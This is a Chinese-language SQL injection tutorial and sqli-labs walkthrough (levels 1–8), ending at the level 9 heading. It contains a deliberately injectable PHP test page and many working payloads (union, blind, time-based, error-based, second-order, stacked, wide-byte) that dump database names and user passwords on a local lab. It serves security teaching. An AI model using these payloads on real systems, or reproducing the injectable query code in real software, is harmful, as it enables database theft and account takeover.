1、SQL 注入
sqli-labs 靶场
PHP7 之后的 mysql_ 都改成了 mysqli_** 了,所以 sqli-labs 用 PHP7+ 版本的话会报错!解决方法:直接使用支持 php7 的版本的 sqli-labs。
sqli-lab:https://github.com/search?q=+sqli-labs&type=repositories
在线靶场:http://sqli.exp-9.com/
SQLi-Labs ( php7 版本 )下载地址:https://github.com/skyblueee/sqli-labs-php7
SQLi-Labs ( php5 版本 )下载地址:https://github.com/Audi-1/sqli-labs
详细sqli-labs(1-65)通关:https://blog.csdn.net/dreamthe/article/details/123795302
SQL 注入非常详细总结:https://blog.csdn.net/dreamthe/article/details/124969922
Less靶场SQL注入通关宝典:https://www.cnblogs.com/zxywlaq/p/18199225
SQL注入攻击与防御 第二版:http://download.csdn.net/detail/hx0_0_8/9284595
SQLi-Labs 是一个专业的 SQL 注入练习平台,适用于 GET 和 POST 场景,包含了以下注入:
- 1、基于错误的注入(Union Select):字符串、整数
- 2、基于误差的注入(双查询注入)
- 3、盲注入(01、基于Boolian数据类型注入, 02、基于时间注入)
- 4、更新查询注入(update )
- 5、插入查询注入(insert )
- 6、Header 头部注入( 01、基于Referer注入, 02、基于UserAgent注入,03、基于cookie注入)
- 7、二阶注入,也可叫二次注入
- 8、绕过WAF:绕过黑名单 \ 过滤器 \ 剥离 \ 注释剥离 OR&AND 剥离空格和注释剥离 UNION和SELECT、隐瞒不匹配
- 9、绕过addslashes()函数
- 10、绕过 mysql_real_escape_string() 函数(在特殊条件下)
- 11、堆叠注入(堆查询注入)
- 12、二级通道提取
安装完成,直接访问 index.html 页面如下:
然后在点击 Setup/reset Database for labs 就可以成功
如果上面数据库表创建成功,数据库表如下
修改 index.php 用来在前端页面显示后台执行的 sql 语句,需要在每一关的 index.php 都需改。
单页面 web 靶场
如果不想使用上面的靶场,也可以自己写个单页面的 web 进行测试。
这里使用 KALI linux系统 (KALI:https://www.kali.org/)。KALI 是一个渗透测试的神器。集成了很多黑客工具,当然也就集成了许多开发所需的环境。可以继续安装 Sqli-labs 靶场,也可以自己写一个简单的页面进行测试,这里是写了一个单页面测试。
启动 MySQL :
root@kali:~# systemctl start mysql //启动 mysql 服务
root@kali:~# systemctl status mysql //查看 mysql 状态
SQL 建表脚本(添加一些测试数据)
MySQL 官方网站提供了以下几个示例数据库:Sakila、Employees、world、world_x 以及 menagerie。这些数据库既可以用于日常学习和测试,也可以作为我们设计时数据库的一个参考。
- MySQL 必备的几个示例数据库:https://blog.csdn.net/horses/article/details/106795844
- 官网样例数据:https://dev.mysql.com/doc/index-other.html
启动 apache
root@kali:~# systemctl start apache2
root@kali:~# systemctl status apache2
apache 的默认主页是 /var/www/html/index.html。直接访问 http://localhost/index.html
修改 index.html 为 index.php
index.php 内容如下: (数据库连接部分参考:https://www.runoob.com/php/php-pdo.html)
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
print('Hello '); // 输出 "Hello " 并且没有换行符
echo "World\n"; // 输出 "World" 并且换行
echo "<br />";
echo "<hr />";
echo '<p align="center">DataBase connect test</p>';
$dbms='mysql'; //数据库类型
$host='127.0.0.1'; //数据库主机名
$dbName='world'; //使用的数据库
$user='root'; //数据库连接用户名
$pass=''; //对应的密码
$dsn="$dbms:host=$host;dbname=$dbName";
try {
// 连接到数据库
$dbh = new PDO($dsn, $user, $pass);
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$dbh->exec('set names utf8');
echo "连接成功<br/>";
// sql 语句
$strsql="SELECT id,name,countrycode FROM `City` LIMIT 5";
//你还可以进行一次搜索操作
foreach ($dbh->query($strsql) as $row) {
//print_r($row); //你可以用 echo($GLOBAL); 来看到这些值
echo "id: {$row['id']} ";
echo "name: {$row['name']} ";
echo "countrycode: {$row['countrycode']} ";
echo "<br />";
}
$dbh = null;
} catch (PDOException $e) {
die ("Error!: " . $e->getMessage() . "<br/>");
}
?>
<br />
<hr />
<p align="center">input test</p>
<form>
<div>
Input Query ID:
<input type="text" name="search" style="width:60%;" >
<input type="submit" name="submit" value="Search" >
<br /><br />
SQL Query String :
<?php
if(isset($_GET['submit']))
{
$val = $_GET['search'];
$str_sql = "SELECT id,name,countrycode FROM City where id = $val";
echo "<b>$str_sql</b>";
echo "<br />";
$dbms='mysql'; //数据库类型
$host='127.0.0.1'; //数据库主机名
$dbName='world'; //使用的数据库
$user='root'; //数据库连接用户名
$pass=''; //对应的密码
$dsn="$dbms:host=$host;dbname=$dbName";
try {
// 连接到数据库
$dbh = new PDO($dsn, $user, $pass);
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$dbh->exec('set names utf8');
echo "<br /><br />";
// 遍历
foreach ($dbh->query($str_sql) as $row)
{
//print_r($row); //你可以用 echo($GLOBAL); 来看到这些值
echo '<table border="1">';
echo "<tr>";
echo "<td>";
echo "id: {$row['id']} ";
echo "</td>";
echo "<td>";
echo "name: {$row['name']} ";
echo "</td>";
echo "<td>";
echo "countrycode: {$row['countrycode']} ";
echo "</td>";
echo "</tr>";
echo "</table>";
}
$dbh = null;
}
catch (PDOException $e)
{
die ("Error!: " . $e->getMessage() . "<br/>");
}
}
else
{
echo "please input the number ID !!!";
}
?>
</div>
</form>
浏览器直接访问:http://localhost/index.php
mysql 数据库中结果
到此,一个简单的单页 php web 创建完成。
一个 简单的 SQL 注入验证
输入要查询的 ID (数字),点击 search 按钮,注意 浏览器 url 变化,传递一个参数 search=1 。然后下面显示查询结果。
现在修改 URL 传递的参数。
修改后的 URL 为 :http://localhost/index.php?search=1 or '1'='1'&submit=Search
再来一个复杂点的 SQL 注入验证:
URL:http://localhost/index.php?search=1 union select code,name,region from Country LIMIT 5;&submit=Search
一个读取文件的 SQL 注入
一个简单的 SQL 注入完成。
SQL 注入 分类
对于不同的注入点类型,比如:字符型需要适当添加单引号,而数字型的注入点则不需要。如何判断是否存在SQL注入?简单点讲就是:所有的输入,只要和数据库进行交互的,都有可能触发SQL注入。
- 根据参数类型:字符型,数字型、搜索型
- 根据提交方式:POST注入,GET注入,HTTP HEAD注入,根据提交方式分类后,可以发现SQL注入最常发生的位置在 "链接地址、数据参数、cookie信息以及HTTP请求头等位置"。如何判断这些位置上是否能够触发SQL注入,最简单的方式就是在相应位置输入and 1=1 (以及 and 1=1 的变换形式)来判断。
- 根据有无回显:联合注入,报错注入,布尔盲注,延时注入
- 其他注入:堆叠注入,宽字节注入,二次注入等
根据参数类型:字符型,数字型、搜索型
数字型 注入点
- 数字型 注入点。许多网页链接有类似的结构 http://www.example.com/12.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。
- 数字型 注入 判断:这一类的 SQL 语句原型大概为 "select * from 表名 where id=1",若存在注入则可以构造类似 sql 注入语句进行爆破:select * from 表名 where id=1 and 1=1 ,或者 id=1 and 1=2 进行测试,如果 1=1 页面显示正常和原页面一样,并且 1=2 页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。
字符型 注入点
- 字符型 注入点。网页链接有类似的结构 http://xwww.example.com/users.php?user=admin 这种形式,其注入点 user 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where user='admin' 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where user='admin' and 1=1 ' 我们需要将这些烦人的引号给处理掉。
- 字符型 注入 判断:添加 一个 单引号 或者 双引号,来判断是单引号的字符型注入,还是双引号的字符型注入。字符型注入关键点:前面闭合,中间是要执行的 sql 语句,后面闭合。或者后面的全部注释掉。
?id=1' and 1=1 -- asdf 和 ?id=1' and 1=2 -- asdf 进行测试。如果 1=1 页面显示正常和原页面一样,并且 1=2 页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。
SELECT * FROM users WHERE id='1' and 1=1 -- asdf'
SELECT * FROM users WHERE id='1' and 1=2 -- asdf'
也可以这样判断
http://127.0.0.1/sqli-labs-php7/Less-1/?id=1' and '1'= '1
http://127.0.0.1/sqli-labs-php7/Less-1/?id=1' and '1'= '2
?id=1' and 1=1 and '1'='1 和 ?id=1' and 1=1 and '1'='2 进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。
SELECT * FROM users WHERE id='1' and 1=2 and '1'='1'
搜索型 注入点
搜索型注入点。这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'
?id=1%' and 1=1 and '%'='% 和 ?id=1%' and 1=2 and '%'='% 进行测试。如果 1=1 页面显示正常和原页面一样,并且 1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为搜索型注入。SELECT * from table where users like '%1 %' and '1'='1' and '%'='%'
?id=1%' and 1=1--+/# 和 ?id=1%' and 1=2--+/# 进行测试。如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为搜索型注入。
根据提交方式:POST注入,GET注入,HEAD注入
- GET 注入。提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。
- POST 注入。使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
- Cookie 注入。HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
- HTTP 头部注入。注入点在 HTTP 请求头部的某个字段中。比如 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。
根据有无回显:联合注入,报错注入,布尔盲注,延时注入
其他注入:堆叠注入,宽字节注入,二次注入等
联合注入
示例:sqli-labs 第 2 关
场景:当页面有数据显示
注入点判断
页面显示数据:http://127.0.0.1/sqli-labs-php7/Less-2/?id=1 and 1=1
(或者:http://127.0.0.1/sqli-labs-php7/Less-2/?id=1 and 1=1 -- 注释 )
页面不显示数据:http://127.0.0.1/sqli-labs-php7/Less-2/?id=1 and 1=2
?id=1 and 1=1 页面显示数据
id=1 and 1=2 页面不显示数据,综合这两个结果进行判断,说明是 数字型 注入 。
判断列数
?id=1 order by 3
order by 可以按列号进行排序,当列号不存在时会报错,按照这个特性,可以从 1 一次累加,来探测有多少列。
http://127.0.0.1/sqli-labs-php7/Less-2/?id=1 order by 1
http://127.0.0.1/sqli-labs-php7/Less-2/?id=1 order by 2
http://127.0.0.1/sqli-labs-php7/Less-2/?id=1 order by 3
http://127.0.0.1/sqli-labs-php7/Less-2/?id=1 order by 4
当探测到 order by 4 时,发生报错,说明总共 3 列
爆出显示位
也就是 name 和 password 分别是查询结果中的第几列。
注意点:这里 id=-1, id 值在表中不存在,当 id 不存在时,union 查询时,前面 sql 部分查询结果为空,只有后面的 sql 执行结果。相当于变相只执行后面的 sql。
http://127.0.0.1/sqli-labs-php7/Less-2/?id=-1 union select 1,2,3
后台执行的 SQL:SELECT * FROM users WHERE id=-1 union select 1,2,3 LIMIT 0,1如果想把后面的 LIMIT 0,1 去掉,则可以 添加注释,把后面的去掉
http://127.0.0.1/sqli-labs-php7/Less-2/?id=-1 union select 1,2,3 -- dsfaf
后台执行的 SQL:SELECT * FROM users WHERE id=-1 union select 1,2,3 -- dsfaf LIMIT 0,1
爆 数据库,版本
想要在正常显示数据的地方显示 数据库,版本,同样需要 id 值在表中不存在。
http://127.0.0.1/sqli-labs-php7/Less-2/?id=-1 union select 1,database(),version()
爆 表
http://127.0.0.1/sqli-labs-php7/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
爆 列
http://127.0.0.1/sqli-labs-php7/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
爆 账户、密码
http://127.0.0.1/sqli-labs-php7/Less-2/?id=-1 union select 1,2,group_concat(username ,id , password) from users
布尔盲注
示例:sqli-labs 第 5 关
场景:当页面数据显示很少,有报错页面和正确页面进行对比
注入点判断
http://127.0.0.1/sqli-labs-php7/Less-5/?id=1' and 1=1 -- 注释后面sql
http://127.0.0.1/sqli-labs-php7/Less-5/?id=1' and 1=2 -- 注释后面sql
可以判断是 "字符型 注入"
爆 数据库
判断 数据库 的长度:
http://127.0.0.1/sqli-labs-php7/Less-5/?id=1' and length((select database()))>7-- 注释
http://127.0.0.1/sqli-labs-php7/Less-5/?id=1' and length((select database()))>8-- 注释大于 7 时正常,大于 8 时不正常,说明 数据库名 长度 是 8
判断 数据库名 每一位的字符
?id=1'and ascii(substr((select database()),1,1))=115-- 注释
115 ascii 码 是 小写 s,就是 security 的第一位,就这样依次猜测 数据库名的每一位
ascii 码对照表
爆 表:判断 表名 的 长度
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
探测 表名 的每一位 字符
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
爆 列:判断 列名 的 长度
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
探测 列名的 每一位字符
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
爆 账户、密码
?id=1' and length((select group_concat(username,password) from users))>109--+
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
延时注入
示例:sqli-labs 第 9 关
场景:如果页面始终只有一个,可以使用延时注入,通过反应时间来判断。
注入点 判断:http://127.0.0.1/sqli-labs-php7/Less-9/?id=1' and if(1=1,sleep(5),1) -- 注释
爆 数据库
?id=1' and if(length((select database()))>9,sleep(5),1)-- dsjfa
?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(5),1)-- dsahd
爆 表
?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
爆 列
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
爆 密码账户
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
报错注入
示例:sqli-labs 第 46 关
场景:当页面显示数据很少,但是存在报错信息。
第 46 关 的 sort 值可以是 1、2、3 中任意一个。
updatexml 报错 注入
UPDATEXML (XML_document, XPath_string, new_value)
- 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
- 第二个参数:XPath_string (Xpath格式的字符串)
- 第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值,改变 XML_document 中符合 XPATH_string 的值,当我们 XPath_string 语法报错时候就会报错
单引号、双引号 都报错,说明是 字符串注入
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1'
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1"
爆 数据库和版本
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (updatexml(1,concat(0x5c,database(),0x5c),1)) -- 注释
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=2 and (updatexml(1,concat(0x5c,database(),0x5c),1)) -- 注释
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=3 and (updatexml(1,concat(0x5c,database(),0x5c),1)) -- 注释http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (updatexml(1,concat(0x5c,version(),0x5c),1)) -- 注释
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=2 and (updatexml(1,concat(0x5c,version(),0x5c),1)) -- 注释
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=3 and (updatexml(1,concat(0x5c,version(),0x5c),1)) -- 注释
爆 表
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))-- 注释
爆 列
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))-- 注释
爆 账户、密码
账户:http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (updatexml(1,concat(0x5c,(select username from users limit 0,1),0x5c),1))-- 注释
密码:http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (updatexml(1,concat(0x5c,(select password from users where username='Dumb' limit 0,1),0x5c),1))-- 注释
账户、密码:http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(password, '@',username) from users),0x5c),1))-- 注释
extractvalue 报错 注入
extractvalue(XML_document,XPath_string)
- 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
- 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
作用:从 XML_document 中提取符合 XPATH_string 的值,当我们 XPath_string 语法报错时候就会报错
爆 数据库和版本
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (extractvalue(1,concat(0x5c,database(),0x5c)))-- 注释
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (extractvalue(1,concat(0x5c,version(),0x5c)))-- 注释
爆 表
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))-- 注释
爆 列
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))-- 注释
爆 账户与密码
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (extractvalue(1,concat(0x5c,(select group_concat(password,username) from users) ,0x5c)))-- 注释
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (extractvalue(1,concat(0x5c,(select username from users limit 0,1) ,0x5c)))-- 注释
http://127.0.0.1/sqli-labs-php7/Less-46/index.php?sort=1 and (extractvalue(1,concat(0x5c,(select password from users where username='Dumb' limit 0,1) ,0x5c)))-- 注释
group by 报错 注入
主要是由于 floor(rand(0)*2) 生成的是伪随机数011011。在进行统计时候由于在插入表格会被再次执行一次会导致健的重复。从而导致报错。
爆 数据库和版本
123' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))--+
123' and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2))) --+
爆 表
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2))) --+
爆 列
1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2))) --+
爆 账户与密码
1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select username from users limit 0,1),0x7e,floor(rand(0)*2))) --+
1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1' limit 0,1),0x7e,floor(rand(0)*2))) --+
二次注入
示例:sqli-labs 第 24 关
原理:二次注入是因为对于存储到数据库的数据没有经过过滤验证,且从数据库提取数据时候也没有进行过滤验证。
示例:可以看到管理员账户 admin 密码是1,但是通常情况下我们是不知道密码的,只能猜测管理员账户的 admin
我们可以注册一个账号名叫 admin'#。可以看到我们成功将有污染的数据写入数据库。单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。
之后可以使用用户名 admin'# 和密码是123456 登录,进入修改密码页面。原始密码输入123456,新密码我输入的是111111,可以看到密码修改成功。
当我们数据库查看的时候发现修改的是管理员的密码。而不是我们的注册账户的密码。
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
堆叠注入
示例:sqli-labs 第 38 关
堆叠注入:要求可以支持多条 sql 语句同时执行,其他 sql 注入只能查询数据,堆叠注入可以进行增删改查。
以 mysql 数据库为例,如果使用 mysqli_multi_query 函数,该函数支持多条 sql 语句同时进行。
?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
宽字节注入
示例:sqli-labs 第 32 关
原理:当某字符的大小为一个字节时,称其字符为窄字节。当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。数据库使用一些转义函数,在引号前面自动加上\。由于数据库采用GBK编码, \的url编码是%5c,所以会认为 %df%5c 是一个宽字符,也就是縗。
爆数据库
?id=-1%df%27 union select 1,database(),3 --+
爆表
?id=-1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
爆列
?id=-1%df%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+
爆账户与密码
?id=-1%df%27 union select 1,group_concat(password,username),3 from users--+
sqli-labs 通关
firefox 浏览器安装 MaxHackbar 插件。访问 http://127.0.0.1/sqli-labs-php7/Less-1/?id=1
当找不到注入点时,可以查看每一关的源码,下面时第一关的源码,可以发现 where 后面条件 id 的值是字符型,所以这个是 字符型注入。
mysql 数据结构
在练习靶场前先了解以下 mysql 数据库结构,mysql 数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是 tables 和 columns。
tables 这个表
- table_name 字段下面是所有数据库存在的表名。
- table_schema 字段下是所有表名对应的数据库名。
columns 这个表
- colum_name 字段下是所有数据库存在的字段名。
- columns_schema字段下是所有表名对应的数据库。
了解这些对于我们之后去查询数据有很大帮助。我们前面机关讲解比较详细后面就比较简单了。
sqli-labs 第 1 关 ( 单引号、字符型 注入 )
判断是否存在 sql 注入:提示输入数字值的 ID 作为参数,我们输入?id=1
通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。
接下来我们判断 sql 语句是否是拼接,且是字符型还是数字型。
访问报错:http://127.0.0.1/sqli-labs-php7/Less-1/?id=1'
访问返回数据:http://127.0.0.1/sqli-labs-php7/Less-1/?id=1' -- 注释掉后面的sql
由上面结果可知,是字符型注入。且存在 sql 注入漏洞。因为该页面存在回显,所以可以使用联合查询。联合查询原理简单说一下,联合查询就是两个 sql 语句一起查询,两张表具有相同的列数,且字段名是一样的。
联合注入
第一步:爆列数。就是知道数据表有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
?id=1'order by 3 --+
访问正常:http://127.0.0.1/sqli-labs-php7/Less-1/?id=1' order by 3 -- dfas
访问报错,说明 sql 查询结果总共 3 列:http://127.0.0.1/sqli-labs-php7/Less-1/?id=1' order by 4 -- dfas
第二步:爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。
第三步:通过上面的显示位,可知是第二列、第三列,所以在构造联合查询时,第二列和第三列可以放置有用的信息。比如 当前数据名、版本号。
上面涉及 mysql 数据库的一些函数,记得就行。通过结果知道当前数据看是 security,版本是 8.0.12
- database() 获取当前数据库
- version() 获取数据库的版本号
- group_concat() 将查询到结果连接起来。示例 sql:
select group_concat(table_name) from information_schema.tables where table_schema=database();
select group_concat(username,password, '分割') from users;
第四步: 爆表。information_schema.tables 表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
该语句的意思是查询 information_schema 数据库下的 tables 表里面,且 table_schema 字段内容是 security 的所有 table_name 的内容。
如果不用 group_concat 查询到的只有 user,就是查询结果第一条数据。
第五步:爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在 users 表中。接下来我们就是得到该表下的字段名以及内容。
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
语句的意思是查询 information_schema 数据库下的 columns 表里面且 table_users 字段内容是users 的所有 column_name 的内。注意 table_name 字段不是只存在于 tables 表,也是存在columns表中。表示所有字段对应的表名。
第六步:通过上述操作可以得到两个敏感字段就是 username 和 password,接下来我们就要得到该字段对应的内容。我自己加了一个 id 可以隔一下账户和密码。
http://127.0.0.1/sqli-labs-php7/Less-1/?id=-1' union select 1,2,group_concat(username , id, password) from users -- 注释
http://127.0.0.1/sqli-labs-php7/Less-1/?id=-1' union select 1,2,group_concat(username , '_____', password) from users -- 注释
sqli-labs 第 2 关 ( 单引号、数字型 注入 )
和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所以可以猜测 sql 语句应该是数字型注入。那步骤和我们第一关是差不多的,
"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1' LIMIT 0,1" 出错信息。
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
sqli-labs 第 3 关 ( 单引号、括号 闭合 )
输入?id=2' 时,可以看到页面报错信息。可推断 sql 语句是单引号字符型且有括号,所以需要闭合单引号,且也要考虑括号。
通过下面代码构建就可以进行sql注入。后面所有代码以此为基础进行构造。
?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
sqli-labs 第 4 关 ( 双引号、括号 闭合 )
根据页面报错信息得知 sql 语句是双引号字符型且有括号。
通过以下代码进行sql注入
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
sqli-labs 第 5 关 ( 单引号、布尔盲注 )
第五关根据页面结果得知是字符型,但是和前面四关还是不一样,因为页面虽然有东西,但是只有对于请求对错出现不一样页面,其余的就没有了。这个时用联合注入就没有用,因为联合注入是需要页面有回显位。
- 如果数据 不显示,只有对错页面显示,可以选择 布尔盲注。
- 布尔盲注主要用到 length()、ascii()、substr() 这三个函数,首先通过 length() 函数确定长度再通过另外两个确定具体字符是什么。
- 布尔盲注 对于 联合注入 来说需要花费大量时间。
大于号 可以换成 小于号 或者 等于号,主要是判断数据库的长度。lenfth() 是获取当前数据库名的长度。如果数据库是 haha 那么 length() 就是4。这里数据库事 security 长度是 8
http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1' and length((select database()))>7 --+
http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1' and length((select database()))>8 --+
- substr(a,b,c) :a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。示例:substr("78909",1,1)=7
- ascii():是将截取的字符转换成对应的 ascii 码,这样我们可以很好确定数字根据数字找到对应的字符。
http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1'and ascii(substr((select database()),1,1))=115--+
判断所有表名字符长度。
http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13 --+
逐一判断表名
http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
判断所有字段名的长度
http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20 --+
逐一判断字段名。
http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
判断字段内容长度
http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1' and length((select group_concat(username,password) from users))>109 --+
逐一检测内容。
http://127.0.0.1/sqli-labs-php7/Less-5/index.php?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50 --+
sqli-labs 第 6 关 ( 双引号、布尔盲注 )
第六关 和 第五关 是差不多的,根据页面报错信息可以猜测 id 参数是双引号,只需将第五关的单引号换成双引号就可以了。
源码
sqli-labs 第 7 关 ( 单引号、双括号 闭合 )
第七关中,当在输入 id=1 页面显示 you are in... 当我们输入 id=1' 时显示报错,但是没有报错信息,这和我们之前的关卡不一样,之前都有报错信息。
当输入 id=1" 时显示正常,所以可以断定参数 id 时单引号字符串。因为单引号破坏了他原有语法结构。
然后再输入 id=1'--+ 时报错,
这时候再输入 id=1')--+ 发现依然报错,
再试下是不是双括号输入id=1'))--+,发现页面显示正常。
那么它的过关手法和前面就一样了选择布尔盲注就可以了。
sqli-labs 第 8 关 ( 单引号、布尔注入 )
第八关 和 第五关 一样就不多说了。只不过第八关没有报错信息,但是有 you are in.. 进行参照。id参数是一个单引号字符串。
sqli-labs 第 9 关 ( 基于时间的盲注 )
